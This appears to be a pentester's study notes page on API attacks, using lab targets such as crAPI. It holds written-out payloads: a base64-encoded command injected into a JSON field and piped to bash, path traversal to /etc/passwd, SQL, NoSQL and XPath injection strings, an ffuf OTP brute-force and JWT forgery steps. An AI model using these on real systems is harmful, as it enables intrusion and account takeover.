// notes/ Web Exploitation
🔌

API Security & Attacks

API enumeration, the OWASP API Top 10, JWT attacks, and improper assets management.

#api#jwt#bola#owasp#web

API Security & Attacks

API Attacks

Excessive Data Disclosure:

  • When the response gives you additional information which is not relevant to your request. An example of this would be to give email, account creation, privilege information etc for other users that is not relevant to this request.

BOLA:

  • When you can access resources you're not authorized to.

BFLA:

  • When you can perform actions and functions you're not authorized to.
  • This can apply for both lateral and escalated actions.

Improper Assets Management:

  • Testing Versioning essentially. (V1,V2,V3)
  • Set variable to change versioning on all requests in postman, in both authorized and unauthorized sessions
  • Examples of vulnerabilities might be lack of rate limiting, command injection, excessive data exposure, etc that would not be taking place in another version. Typically the earlier version contains more issues

Mass Assignment:

  • Adding or overwriting parameters and object properties to manipulate response. An example would be to add your own user as an administrator upon account creation by doing exactly this.
  • Look for parameters involved in user account properties, critical functions, and administrative actions.

API Command Injection

{ "target":"\";echo cGluZyAtYzIgMTAuMTMuNC4y | base64 -d | bash; \"" }

unnamed_c53b6653a1c7435baae81c15c52bd0d5 unnamed_66f1a596fb4247bea66a7e9ad52b15b2 unnamed_5978398ed17245b689f46399ff544035


API LFI

🐺 howlsec@kali
01{"filename":"/../../../../../../../../etc/passwd"}

unnamed_7bdc41191d844376a344d62968def84a


API NOSQL INJECTION

{"search":"a'||'a'=='a"}

unnamed_5a29eba5465441d5a2ce4e9bf5895b72


API SQL INJECTION

{"passphrase":"465d51506b57487d78567d5d55457379","reminder":"Hiii'"}

unnamed_dd520370345c44f0a81b33106d2083b6


IDOR

Insecure direct object references

Autorize (Detects some authorization vulnerabilities - Useful for IDOR) https://portswigger.net/bappstore/f9bbac8c4acf4aefa4d7dc92a991af2f


Bypassing Rate Limiting For OTP

This is one way of Bypassing Rate Limiting For OTP through Improper Assets Management. We used someone elses email, pressed forgot password, adn we found this check-otp endpoint.

Can we bruteforce the OTP?

unnamed_bec59bc845a74968983d70d0f49b7b8c

It seems after 8 requests it refuses to check anymore. Any way around this? unnamed_c93391abaa3f4ac5b669b4e50f2f100e

Through Improper Assets Management in this example we can. unnamed_b12e27652524462c8d9886daf3ff4ce0 The web application accepts v2 of the API at this endpoint, and it does not have proper rate limiting set up. As a result we can bruteforce without any prevention.

And since burp community is too slow, we'll be using ffuf.

🐺 howlsec@kali
01ffuf -u '<http://crapi.apisec.ai:8888/identity/api/auth/v2/check-otp'> -d '{"email":"b@b.com","otp":"FUZZ","password":"IAMAdog1"}' -w userlist.txt -X POST -H 'Content-Type:application/json' -fw 5

From here, we can perform Account Takeover with our newly set password. unnamed_e8a7f400c92444969ae3f2f9b07b1bd8


Algorithm Confusion

Go to /jwks.json

{"kty":"RSA","e":"AQAB","use":"sig","kid":"210f90e4-b2a3-493d-b3a4-48092adab621","alg":"RS256","n":"2szo0HGPkojlsWE_ueXHOmOuVVZiYv1QyG1Hp79CHfD6Y9rJKbVz49CRWTzofqc_A4LfwaeIDpIA6lTtt7P3haLxIt-ZsWQNEjjhaUi-9gS8jrsVR_hQaT-X4zdlm0n_lVplAfJjMLK43yOcXzACNw-PdIOCXC8XRWfflMkrAvZT_whV5yNSemLyR2S_U_Fr4eHKVCwgo6Vc4nFG0HN_ARFwRzlmkXkQX1tdP-PpBuq58YdYF5tcZRlXcg9aKn3R3Jw1gR7E2RR9EkCdkL5a9JDPpYijui6B1xB7vsGzGYRG1LvbcEkv34MuPGdl4H0zih4Gpu5vPAp5oX-lFgryfw"}

  1. Copy the above in that format.
  2. Make a new RSA key. Copy paste the above. Then go to PEM section, ctrl a copy.
  3. Go to convert all to base64 and copy the base64 output

unnamed_33349dd019d247d3a1f70d087420a8c7

  1. New symmetric key. Generate.

  2. Change the “k” valeu to the base64 output from last step.

  3. Now change the kid value to that of our current user token. save key unnamed_39c89f7dc6ae4d209a4d362ce34df243

  4. Now change the alg to HS256, and the sub to administrator

  5. Then sign the newly created symmetrically signed key

that's it! :)


Cracking JWT signature

use crunch or rockyou etc for lists crunch 5 5 > pass.txt

Make a user. Take their JWT token and attempt cracking it like so: john --wordlist=/usr/share/wordlists/rockyou.txt jwt --format=HMAC-SHA512 --fork=4

unnamed_191f13da30d945c9a52917498285eb82

Or like so: jwt_tool eyJhbGciOiJIUzUxMiJ9.eyJzdWIiOiJiQGIuY29tIiwiaWF0IjoxNjY4ODEwNDE1LCJleHAiOjE2Njg4OTY4MTV9.MsWAWE_9SaFUlFnnJM_RAk1egQcD9JMNaETPEZ-myrOaynYyPeVvXCUfE5MfzfD3ob2TWJz00OxBFTwdb5h0tA -C -d /home/kali/ja

unnamed_72d19497ff6d443b8dd03097b59d3c68 Now, what you can do is this:

  • You're logged in as this user with this token: unnamed_6366043b1aaa4a6692b280b36e1ae64b https://jwt.io/ unnamed_b40a901a51f0405ea81f6cc4b1d7e5dc Let's now modify the email to another user, and see if we can access their account, even though we don't know their password. unnamed_12c411180fe84e689a1a7a1ce8d2e3da We tried changing to a@a.com, but no luck.

Let's modify the token in jwt again but this time use the password from the API provider for the signature that we cracked. unnamed_fba36039a1984112b72c931886264d48 And BAM, this allows us to perform an account takeover without their password.unnamed_37a34cd8286e4f40979295dbd6dfbfa2

Hashcat syntax: hashcat -m 16500 jwt /usr/share/wordlists/rockyou.txt unnamed_925f50fc34d949558cd1789b50424f56


JKU Injection

Generate RSA key.

Then copy unnamed_b76b6a58d1e44c73b64b9266e91c0b3f

Set up exploit server and host file with this body: { "keys": [ { "kty": "RSA", "e": "AQAB", "kid": "09a1fb72-62d0-4734-8314-50584ff91b44", "n": "iDveG1SIP0OyqigWSEljDa64qihOw7cwuCiiHpb68ZdFR8i2XnHqkkcJRwUzYucLyxfIbXsBtjt-V9f8gY_WS79iAbWsQ08YJmgA9Nhv1dwIkpFUWES7JhYyILgqpzhKz25wrv6iKVYYKLXlzqS9UvruUjx06ia-DvLMC66Q0yeYeZa_AkbSVDiTb-HnxLaLogQN3xheSmNz2a6jbyaMwUSjJqDXzV0skvlIoTikwK3Yhup-AgteLH7eZyjSpbzkVjdMZ4sGgjHKNbqK8mXfNbUbXlQjWCRp5g7up26h4xqHnZBgF6tK6i8h9Mwib06y-f7z4isQDDgTrELzQi4iNw" } ] }

Then modify sub and kid values, inject a jku paramater with the hosted file on your exploit server, and finally sign it with your create RSA key. unnamed_13ea078ec1404b0796ec85b11cb1f228


JWK Injection

Generate RSA Key. unnamed_d1993a0f598241a7b4a7e1d6d583cc8c

Change sub value to the account you wanna take over. unnamed_6cbbf5b70d5742ee855f564a6db9fde7

“Attack”, “Embedded JWK”, then Sign the key. Values will get updated, and we can now perform ATO on the admin. unnamed_92bd0f4ee8a64e06861368f9901698ac


KID path traversal

Make new symmetric key. In the “k” value insert a base64 encoded nullbyte like so unnamed_6789ca36cb594ac0a3e54731d5c1db5c

Modify kid value, sub value, and finally sign it with our modified symmetric key. unnamed_5dc6f563c2104c25b1e89a9e3a7b78e5


none signature

Sometimes developers does not check the signature so you can literally just alter “alg” to "none". And remove the signature value entirely in the JWT except the trailing dot.


Mass Assignment

When we login we can see admin=false value. We now have an idea of which paramaters the API allows. We can attempt a mass assignment attack with the admin=true in potentially either a login request or a user creation request.
unnamed_751f5288f2e1443fa05e3d2e344b749d

Let's add the admin value unnamed_3abdfd81438b4ba5ac847159228bba79

As as we intercept the response to our request, our new user is now set up as a admin! unnamed_9f826bc21bfc43cd93549a5acd7e7af3


XPATH INJECTION

'or'1'='1 'or'true()'or' a' or true() or '

' or '1'='1 ' or ''=' x' or 1=1 or 'x'='y / // //* */* @* count(/child::node()) x' or name()='username' or 'x'='y ' and count(/*)=1 and '1'='1 ' and count(/@*)=1 and '1'='1 ' and count(/comment())=1 and '1'='1 search=')] | //user/*[contains(*,' search=Har') and contains(../password,'c search=Har') and starts-with(../password,'c ' or 1]%00

Modified unnamed_3bdb4386a28145c2a2e978ee73191c93 unnamed_4de46e90834e47a48a04f9944ddc839e


API enumeration

Perform scanning with kiterunner and fuzzer to find endpoints. mitmweb manual web test especially for APIs import mitmweb file to postmaN chain postman thoruhg burp (passive listening on burp) run full collection with whatever u want

BAM, from here u have full targetlist on both postman and burpsuite with the benefits of the tools from each ; )

mitmweb (capture all manual requests) sudo mitmproxy2swagger -i ~/Downloads/flows -o spec.yaml -p 'http://crapi.apisec.ai:8888' -f flow sudo subl spec.yaml (import to postman - fix login request, add token, save, setup test, and proxy through burp)

  • Scan for endpoints
  • fuzz for paramaters in both body and URL

https://www.ethicalcheck.dev/


Finding username_email

API Endpoint: /identity/api/auth/login

This allows us to easily enumerate emails through the API.

Username/email doesn't exist. unnamed_ba3c63d5aa9349f1bcbce714e58909d4 Username/email exists, but wrong password. unnamed_0015fe119cc64c5a99630c7a882a3022 Successful login. unnamed_631a9ad69e394fd1882c9b0decd6cec4


kiterunner

https://github.com/assetnote/kiterunner kr scan <http://127.0.0.1> -A=apiroutes-210328:20000

unnamed_32fb82957c0a4b678cae32c6b1767752

sudo wget <https://wordlists-cdn.assetnote.io/data/kiterunner/routes-large.kite.tar.gz> sudo tar -xvf routes-large.kite.tar.gz kr scan <http://127.0.0.1:80> -w routes-large.kite


Do's and don'ts

unnamed_962bf8507cd244648b1a8c2bdeb0c828


1 _ Broken Object Level Authorization

unnamed_ba69b68c0f67498cb7de30314ef8c070


10 _ Unsafe Consumption of APIs

unnamed_538078a0b04544b68e7cbbb55c3ba90c


2 _ Broken Authentication

unnamed_bd243b16b7a44cfcaffea8b549a80d6f


3 _ Broken Object Property Level Authorization

unnamed_20a9376174694bde9ca1576640b320dd


4 _ Unrestricted Resource Consumption_ Rate Limiti

unnamed_cc9b186493db4df994b53a5eb65b4fb5


5 _ Broken Function Level Authorization

unnamed_690d8bee330c42bc985b85723152e2a5


6 _ Server-Side Resource Forgery

unnamed_a2415dff643c47c583ae75b46873fb86


7 _ Security Misconfigurations

unnamed_80f81596d79042bebc7832c60a6e936c


8 _ Lack of Protection frin Automated Threats

unnamed_aa50cdf1c7984ea9879454b6ee3814cd


9 _ Improper Inventory Management

unnamed_bac2a5b3eeb14f3c97f47b3acd665f76


API

API Security guidelines: https://www.mediafire.com/file/hkfx8ydpuw2qrry/API+Security+guidelines.pdf/file


Training

TryHackMe

  1. Bookstore (free)
  2. IDOR (paid)
  3. GraphQL (paid)

HackTheBox (Retired Machines)

  1. Craft
  2. Postman
  3. JSON
  4. Node
  5. Help

Github (Vulnerable Apps)

  1. Pixi
  2. REST API Goat
  3. DVWS-node
  4. Websheep
  5. https://github.com/rahulunair/vulnerable-api
  6. https://university.apisec.ai/products/apisec-certified-expert/categories/2150251486/posts/2157710632